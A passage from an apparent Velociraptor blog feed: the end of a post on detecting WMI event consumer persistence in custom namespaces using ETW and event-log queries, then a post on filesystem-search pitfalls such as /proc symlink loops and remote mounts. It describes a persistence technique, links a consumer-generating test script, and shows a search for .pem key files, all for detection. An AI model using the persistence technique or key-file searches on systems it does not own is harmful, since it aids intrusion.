in&#xA;root/subscription, interestingly, it also highlighted the possibility to&#xA;implement __EventConsumer classes in arbitrary namespaces.&lt;/p&gt;&#xA;&lt;p&gt;It is detection of WMI Event Consumers in arbitrary namespaces that I&amp;rsquo;m going&#xA;to focus. For anyone interested in testing I have written&#xA;&lt;a href=&#34;https://github.com/mgreen27/mgreen27.github.io/blob/master/static/other/WMIEventingNoisemaker/WmiEventingNoisemaker.ps1&#34; target=&#34;_blank&#34; &gt;a script to generate WMI event consumers&lt;/a&gt;.&#xA;This script wraps several powershell functions released during the Black&#xA;Hat talk to test creating working event consumers.&lt;/p&gt;&#xA;&lt;p&gt;First step was to create a custom namespace event consumer. In this&#xA;instance I selected the namespace name &lt;code&gt;totallylegit&lt;/code&gt; and attached an&#xA;ActiveScript event consumer.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/04WMIEventGeneration.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;WMIEventingNoismaker.ps1:Generate active script EventConsumer&#34;&#xA;         width=&#34;1048&#34; height=&#34;250&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;04WMIEventGeneration.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    WMIEventingNoismaker.ps1:Generate active script EventConsumer&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;collection&#34;&gt;Collection&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor has several valuable artifacts for hunting WMI Event&#xA;Consumers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Windows.Sysinternals.Autoruns&lt;/code&gt; - leverages a thirdparty deployment of&#xA;Sysinternals Autoruns and typically my go to ASEP collection artifact but&#xA;limited by visibility in root/default and root/subscription only.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Windows.Persistence.PermanentWMIEvents&lt;/code&gt; - recently upgraded to query&#xA;all ROOT namespaces.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Windows.Persistence.PermanentWMIEvents &#34;&gt;&lt;ul&gt;&#xA;&lt;li&gt;This artifact reports currently deployed permanent WMI Event Consumers.&lt;/li&gt;&#xA;&lt;li&gt;The artifact collects Binding information, then presents associated Filters and Consumers.&lt;/li&gt;&#xA;&lt;li&gt;Target a specific namespace, or tick &lt;code&gt;AllRootNamespaces&lt;/code&gt; to collect all&#xA;root namespace event consumers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/05collection.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.Persistence.PermanentWMIEvents: configuration options&#34;&#xA;         width=&#34;1642&#34; height=&#34;330&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;05collection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.Persistence.PermanentWMIEvents: configuration options&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/05collection_results.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.Persistence.PermanentWMIEvents: results&#34;&#xA;         width=&#34;1320&#34; height=&#34;492&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;05collection_results.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.Persistence.PermanentWMIEvents: results&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;telemetry&#34;&gt;Telemetry&lt;/h4&gt;&#xA;&lt;p&gt;Unfortunately prior to Windows 10 WMI logging was fairly limited. Sysmon and&#xA;other telemetry sources often rely on WMI eventing itself to collect WMI&#xA;eventing telemetry events. That means custom classes require namespace and&#xA;class existence prior to telemetry subscription. Sysmon as seen below also&#xA;does not have coverage for root/default namespace.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/03SysmonEid20.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Sysmon collection: Event ID 20 mapping (__EventConsumer)&#34;&#xA;         width=&#34;1584&#34; height=&#34;722&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;03SysmonEid20.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Sysmon collection: Event ID 20 mapping (__EventConsumer)&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The good news is since Windows 10, WMI logging has improved significantly&#xA;and we can now query the event log: Microsoft-Windows-WMI-Activity or&#xA;subscribe the underlying ETW provider of the same name. In the VQL below&#xA;I filter the ETW event on event consumer creation or delete operations.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT&#xA;    System.TimeStamp AS EventTime,&#xA;    System.ID as EventId,&#xA;    strip(prefix=&#39;\\\\\.\\&#39;,string=EventData.NamespaceName) as NamespaceName,&#xA;    EventData.Operation as Operation,&#xA;    GetProcessInfo(TargetPid=int(int=EventData.ClientProcessId))[0] as Process&#xA;FROM watch_etw(guid=&amp;quot;{1418ef04-b0b4-4623-bf7e-d74ab47bbdaa}&amp;quot;)&#xA;WHERE EventId = 11&#xA;    AND Operation =~ &#39;WbemServices::(PutInstance|DeleteInstance|PutClass|DeleteClass)&#39;&#xA;    AND Operation =~ &#39;EventConsumer|EventFilter|FilterToConsumerBinding&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have included a completed artifact in the artifact exchange:&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/wmieventing/&#34;&gt;Windows.ETW.WMIEventing&lt;/a&gt;.&#xA;That artifact includes process enrichment, targeting both creation and deletion of EventConsumers.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/06ETW.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Custom namespace provider registration and process enrichment&#34;&#xA;         width=&#34;1129&#34; height=&#34;480&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;06ETW.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Custom namespace provider registration and process enrichment&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/06ETWb.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.ETW.WMIEventing: all operations event consumer creation and removal&#34;&#xA;         width=&#34;863&#34; height=&#34;301&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;06ETWb.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.ETW.WMIEventing: all operations event consumer creation and removal&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;event-log&#34;&gt;Event Log&lt;/h4&gt;&#xA;&lt;p&gt;Similar filters can be used with &lt;code&gt;Windows.EventLogs.EvtxHunter&lt;/code&gt; for&#xA;detection. Its worthy to note, event logs hold less verbose logging for&#xA;the registration than ETW but this use case is helpful when coming late&#xA;to the party during an investigation.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/07EvtxHunter.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.EventLogs.EvtxHunter: hunt for event consumer string&#34;&#xA;         width=&#34;472&#34; height=&#34;363&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;07EvtxHunter.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.EventLogs.EvtxHunter: hunt for event consumer string&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-12-wmi-eventing//blog/2022/2022-01-12-wmi-eventing/07EvtxHunterb.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Windows.EventLogs.EvtxHunter: detect event consumer class creation&#34;&#xA;         width=&#34;667&#34; height=&#34;673&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;07EvtxHunterb.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Windows.EventLogs.EvtxHunter: detect event consumer class creation&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;During this post, we have shown three techniques for detecting WMI event consumers&#xA;that are worth considering. We can collect these data-points over an entire&#xA;network in minutes using Velociraptor&amp;rsquo;s &amp;ldquo;hunt&amp;rdquo; capability. Similarly&#xA;Velociraptor notebook workflow assists excluding known good entries quickly as part of analysis.&lt;/p&gt;&#xA;&lt;p&gt;The Velociraptor platform aims to provide visibility and access&#xA;to endpoint data. If you would like to try Velociraptor it is available on GitHub under an open source license.&#xA;As always, please file issues on the bug tracker or ask questions on our&#xA;mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;. You can also chat with&#xA;us directly on discord at &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;references&#34;&gt;References&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi&#34; target=&#34;_blank&#34; &gt;Microsoft documentation, About WMI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://attack.mitre.org/techniques/T1546/003/&#34; target=&#34;_blank&#34; &gt;MITRE ATT&amp;amp;CK T1546.003, Event Triggered Execution: Windows Management Instrumentation Event Subscription&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=R5IEyoFpZq0&#34; target=&#34;_blank&#34; &gt;Christensen.L and Graeber.M, Blackhat 2018 - Subverting Sysmon: Application of a Formalized Security Product Evasion Methodology&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/jsecurity101/Windows-API-To-Sysmon-Events/&#34; target=&#34;_blank&#34; &gt;JSecurity101, Windows APIs To Sysmon-Events&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;</description>
    </item>
    <item>
      <title>Searching for files</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux/</link>
      <pubDate>Wed, 05 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;This article discusses new features appearing in Velociraptor&amp;rsquo;s 0.6.3&#xA;release. Earlier releases may not have the same features.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Many DFIR tasks involve simply searching the filesystem for certain&#xA;files. In Velociraptor this capability is available through the&#xA;&lt;code&gt;glob()&lt;/code&gt; plugin, that uses a glob expressions (containing wild cards)&#xA;to search the filesystem. Additional VQL plugins can be used to&#xA;further filter and process the results.&lt;/p&gt;&#xA;&lt;p&gt;This capability is also available in many other tools, for example,&#xA;the &lt;code&gt;find&lt;/code&gt; native Linux command allows searching the filesystem, and&#xA;most programming languages have similar features. For example in&#xA;Python the&#xA;&lt;a href=&#34;https://docs.python.org/3/library/os.html#os.walk&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;os.walk&lt;/code&gt;&lt;/a&gt; method,&#xA;or in Golang the&#xA;&lt;a href=&#34;https://pkg.go.dev/path/filepath#Walk&#34; target=&#34;_blank&#34; &gt;filepath.Walk&lt;/a&gt; method. The&#xA;following discussion applies equally to all methods and is also&#xA;relevant for single use scripts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-log4j-vulnerability&#34;&gt;The Log4j vulnerability&lt;/h2&gt;&#xA;&lt;p&gt;The Log4j vulnerability has been published in December 2021. Due to&#xA;the high severity and ease of exploitation many blue teamers scrambled&#xA;to identify the presence of vulnerable software on servers. A myriad&#xA;of scripts and single use tools were published that could search the&#xA;filesystem for vulnerable jar files (e.g. &lt;code&gt;find&lt;/code&gt; based scripts&#xA;&lt;a href=&#34;https://github.com/yahoo/check-log4j&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;yahoo/check-log4j&lt;/code&gt;&lt;/a&gt;,&#xA;&lt;a href=&#34;https://github.com/rubo77/log4j_checker_beta&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;rubo77/log4j_checker_beta&lt;/code&gt;&lt;/a&gt;,&#xA;Go based&#xA;&lt;a href=&#34;https://github.com/palantir/log4j-sniffer&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;palantir/log4j-sniffer&lt;/code&gt;&lt;/a&gt; ).&lt;/p&gt;&#xA;&lt;p&gt;I wanted to share some of the potential pitfalls that one may&#xA;encounter searching the filesystem in the real world. In particular&#xA;some of these issues may present performance problems so should be&#xA;kept in mind when writing custom one off scripts, or new Velociraptor&#xA;artifacts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;following-symlinks&#34;&gt;Following Symlinks&lt;/h2&gt;&#xA;&lt;p&gt;A symbolic link is a special type of filesystem object which points at&#xA;another file or directory. When walking the files in a directory, one&#xA;needs to decide if to follow the symbolic link or not.&lt;/p&gt;&#xA;&lt;p&gt;If one follows the symbolic link and recurse into a directory which a&#xA;link points to, there is a danger that the link points back to a&#xA;higher place in the directory tree, leading to a symbolic link cycle.&lt;/p&gt;&#xA;&lt;p&gt;A program that blindly follows links may become trapped in a symbolic&#xA;link cycle. This is particularly problematic when recursing through&#xA;the &lt;code&gt;/proc&lt;/code&gt; filesystem, which contains links to / (e.g. a process&amp;rsquo;s&#xA;working directory).&lt;/p&gt;&#xA;&lt;p&gt;For example the below snippet can be seen with find, when instructed&#xA;to follow symbolic links:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;# find -L /proc&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/memstick/realtek&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/memstick/realtek/usb.h&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/memstick/realtek/pci.h&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/hid.h&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/alim7101&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/alim7101/wdt.h&#xA;/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/snd.h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Such a program will never complete because each item in proc will cause&#xA;&lt;code&gt;find&lt;/code&gt; to recurse through the entire filesystem until recursively&#xA;entering &lt;code&gt;/proc&lt;/code&gt; again!&lt;/p&gt;&#xA;&lt;p&gt;This is particularly dangerous when running this program remotely&#xA;using a tool that has no ability to constrain the time, CPU usage or&#xA;returned rows of external programs. This can lead to huge CPU&#xA;consumption on the target system and spinning out of control programs.&lt;/p&gt;&#xA;&lt;p&gt;This is probably the reason why &lt;code&gt;find&lt;/code&gt;&amp;rsquo;s default behavior is to&#xA;&lt;strong&gt;not&lt;/strong&gt; follow symbolic links. However if not following symbolic links&#xA;it is possible to miss important files (for example many servers&#xA;contain symlinks to data drives so starting a find from &lt;code&gt;/var/www&lt;/code&gt;&#xA;might miss files).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;glob()&lt;/code&gt; plugin does follow links by default, but keeps&#xA;track of visited inodes in order to detect cycles. This can still lead&#xA;to unintended loops especially when recursing through the &lt;code&gt;/proc&lt;/code&gt;&#xA;filesystem.&lt;/p&gt;&#xA;&lt;h2 id=&#34;remote-filesystems&#34;&gt;Remote filesystems&lt;/h2&gt;&#xA;&lt;p&gt;Many servers have distributed filesystems mounted at various points in&#xA;the filesystem. Running a large recursive search may recurse into&#xA;these remote filesystems which may be absolutely huge. Recursing into&#xA;these remote files can also lead to very long network delays&#xA;essentially preventing the search from completing at all!&lt;/p&gt;&#xA;&lt;p&gt;It is difficult to predict in advance where remote filesystems are&#xA;mounted - especially when running a search on an unknown server. (This&#xA;situation is also present when mounting a filesystem over &lt;code&gt;fuse&lt;/code&gt; for&#xA;example, a vmware shared folder).&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;find&lt;/code&gt; command has a &lt;code&gt;-xdev&lt;/code&gt; option that restricts searching to a&#xA;single filesystem. This flag ensures that &lt;code&gt;find&lt;/code&gt; does not recurse into&#xA;remote mounted filesystems. As an added bonus &lt;code&gt;-xdev&lt;/code&gt; also prevents&#xA;recursing into the &lt;code&gt;/proc&lt;/code&gt; filesystem (which can be problematic as&#xA;described above)&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately many Unix systems have separate partitions for &lt;code&gt;/home&lt;/code&gt;,&#xA;&lt;code&gt;/usr&lt;/code&gt; or &lt;code&gt;/boot&lt;/code&gt; and so preventing recursion into other filesystems&#xA;can prevent finding files in those partitions.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Bind mounts &#34;&gt;&lt;p&gt;In Linux it is possible to create a &lt;code&gt;bind&lt;/code&gt; mount using the &lt;code&gt;--bind&lt;/code&gt;&#xA;flag to mount another directory again inside a mount point&#xA;directory. This is similar to a symlink in the sense that it may point&#xA;further up the directory tree creating extra work for the &lt;code&gt;find&lt;/code&gt;&#xA;command.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# mkdir /root/bount&#xA;# mount --bind / /root/bound/&#xA;# find /root/&#xA;...&#xA;/root/bound/usr/i686-w64-mingw32/lib/libcabinet.a&#xA;/root/bound/usr/i686-w64-mingw32/lib/binmode.o&#xA;find: File system loop detected; ‘/root/bound/root’ is part of the same file system loop as ‘/root/’.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;find&lt;/code&gt; command is able to detect these kinds of filesystem loops&#xA;and not get trapped but a custom program may not.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h1 id=&#34;the-glob-plugin&#34;&gt;The glob plugin&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;glob()&lt;/code&gt; plugin is the usual way that file searching is&#xA;implemented. Conceptually it is simple, to use - just provide a&#xA;wildcard expression and the glob plugin returns all the files that&#xA;match it. For example, one might be tempted to run the following query&#xA;looking for files with the &lt;code&gt;.pem&lt;/code&gt; extension:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath&#xA;FROM glob(globs=&amp;quot;/**/*.pem&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On Linux such a query might encounter some problems! The &lt;code&gt;glob()&lt;/code&gt;&#xA;plugin by default follows symlinks and as soon as the glob plugin&#xA;enters the &lt;code&gt;/proc&lt;/code&gt; directory the plugin will likely encounter a&#xA;symlink further up the filesystem (usually back to /) and continue&#xA;recursing through that.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux//blog/2022/2022-01-05-searching-for-files-on-linux/glob_proc.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Recursing through the /proc filesystem&#34;&#xA;         width=&#34;681&#34; height=&#34;483&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;glob_proc.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Recursing through the /proc filesystem&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We can disable following symlinks using the nosymlink option to&#xA;glob. However this query will also take a very long time on this&#xA;system:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux//blog/2022/2022-01-05-searching-for-files-on-linux/glob_network.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Recursing into a network mount&#34;&#xA;         width=&#34;825&#34; height=&#34;596&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;glob_network.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Recursing into a network mount&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This test system has a large remote filesystem mounted on &lt;code&gt;/shared/&lt;/code&gt;&#xA;so any recursion into that directory will be very slow.&lt;/p&gt;&#xA;&lt;h2 id=&#34;excluding-recursion-into-certain-directories&#34;&gt;Excluding recursion into certain directories&lt;/h2&gt;&#xA;&lt;p&gt;Supposed that in this case we don&amp;rsquo;t really care about remote&#xA;filesystems, we just want to search for pem files in the local&#xA;system. We know that certain directories should be excluded so we&#xA;might be tempted to write a query like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT FullPath&#xA;FROM glob(globs=&amp;quot;/**/*.pem&amp;quot;)&#xA;WHERE NOT FullPath =~ &amp;quot;^/(proc|shared)&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This query uses a WHERE clause to filter out any paths starting with&#xA;&lt;code&gt;/proc&lt;/code&gt; or &lt;code&gt;/shared&lt;/code&gt;. While this seems reasonable it does not work!&#xA;Thinking back to how VQL works (See&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/fundamentals/#life-of-a-query&#34;&gt;Life of a Query&lt;/a&gt;&#xA;), the &lt;code&gt;glob()&lt;/code&gt; plugin will expand the full glob into the query, and&#xA;the WHERE clause simply filters out non-matching rows. Therefore&#xA;&lt;code&gt;glob()&lt;/code&gt; will still get stuck in proc or shared as before!&lt;/p&gt;&#xA;&lt;p&gt;We need a way to tell the glob plugin itself &lt;strong&gt;not&lt;/strong&gt; to recurse into&#xA;certain directories at all to save the unnecessary work. Since 0.6.3&#xA;the &lt;code&gt;glob()&lt;/code&gt; plugin can accept a &lt;code&gt;recursion_callback&lt;/code&gt; argument. This&#xA;is a VQL lambda function that receives the full row and return a&#xA;boolean to decide if the directory should be recursed into. If the&#xA;lambda returns FALSE, the glob plugin does not bother to enter the&#xA;directory at all, therefore saving a lot of effort.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-01-05-searching-for-files-on-linux//blog/2022/2022-01-05-searching-for-files-on-linux/glob_recursion_callback.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Controlling recursion in the glob plugin&#34;&#xA;         width=&#34;1113&#34; height=&#34;571&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;glob_recursion_callback.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Controlling recursion in the glob plugin&#xA;  